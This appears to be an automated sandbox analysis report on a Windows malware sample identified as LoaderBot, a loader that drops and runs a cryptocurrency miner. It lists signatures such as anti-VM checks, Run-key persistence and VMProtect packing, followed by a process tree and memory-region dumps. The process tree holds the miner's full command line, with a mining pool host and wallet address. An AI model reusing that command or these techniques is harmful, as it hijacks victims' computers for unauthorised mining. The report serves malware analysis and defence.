Analysis
- max time kernel
104s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
16/04/2024, 04:06
General
- Target f2a6e8143d7778697c0396b2ebbbc97f_JaffaCakes118.exe
- Size 12.6MB
- Sample240416-epf4laba3z
- SHA256 7693091a21dc487f97f0ca1f51153e305587bf505460bbdee2fdee19e2584119
Malware Config
Signatures
- LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- LoaderBot executable 2 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 1 IoCs
- VMProtect packed file 1 IoCs
Detects executables packed with VMProtect commercial packer.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\f2a6e8143d7778697c0396b2ebbbc97f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f2a6e8143d7778697c0396b2ebbbc97f_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 48VqBvWwx4DFvegwZp7dE7WpBeYWhdaZUF8BiWc6HdwsP89dK2tiqnHSuyyBjeSn9cZ2ZCMrVrVDkAhGNvCC44DKL2zvQn1 -p x -k -v=0 --donate-level=1 -t 42⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Driver.exe
memory/1564-0-0x0000000074490000-0x0000000074C40000-memory.dmp
memory/1564-1-0x0000000000F20000-0x000000000221A000-memory.dmp
memory/1564-2-0x000000000B050000-0x000000000B060000-memory.dmp
memory/1564-3-0x0000000004510000-0x0000000004520000-memory.dmp
memory/1564-4-0x0000000004570000-0x0000000004571000-memory.dmp
memory/1564-7-0x0000000007110000-0x0000000007176000-memory.dmp
memory/1564-64-0x000000000B050000-0x000000000B060000-memory.dmp
memory/1564-66-0x0000000004570000-0x0000000004571000-memory.dmp
memory/1564-65-0x0000000004510000-0x0000000004520000-memory.dmp
memory/1564-59-0x0000000074490000-0x0000000074C40000-memory.dmp
memory/3200-58-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-25-0x00007FFE00030000-0x00007FFE00031000-memory.dmp
memory/3200-28-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-29-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-32-0x000002BB259B0000-0x000002BB259CB000-memory.dmp
memory/3200-40-0x000002BB259A0000-0x000002BB259AC000-memory.dmp
memory/3200-46-0x0000000180000000-0x000000018008D000-memory.dmp
memory/3200-52-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-53-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-54-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-55-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-56-0x000002BB25950000-0x000002BB25970000-memory.dmp
memory/3200-57-0x000002BB259D0000-0x000002BB259F0000-memory.dmp
memory/3200-27-0x00007FFE00000000-0x00007FFE00002000-memory.dmp
memory/3200-21-0x00007FFE36C50000-0x00007FFE36F19000-memory.dmp
memory/3200-60-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-61-0x000002BB259F0000-0x000002BB25A10000-memory.dmp
memory/3200-62-0x000002BB25A10000-0x000002BB25A30000-memory.dmp
memory/3200-63-0x000002BB25A30000-0x000002BB25A50000-memory.dmp
memory/3200-26-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-22-0x00007FFE36C50000-0x00007FFE36F19000-memory.dmp
memory/3200-20-0x00007FFE38860000-0x00007FFE3891E000-memory.dmp
memory/3200-67-0x000002BB25A60000-0x000002BB25A80000-memory.dmp
memory/3200-68-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-69-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-71-0x00007FFE36C50000-0x00007FFE36F19000-memory.dmp
memory/3200-72-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-73-0x00007FFE38860000-0x00007FFE3891E000-memory.dmp
memory/3200-74-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-75-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-76-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-77-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-79-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-80-0x00007FF6E2610000-0x00007FF6E39C0000-memory.dmp
memory/3200-81-0x000002BB259F0000-0x000002BB25A10000-memory.dmp
memory/3200-82-0x000002BB25A10000-0x000002BB25A30000-memory.dmp
memory/3200-83-0x000002BB25A30000-0x000002BB25A50000-memory.dmp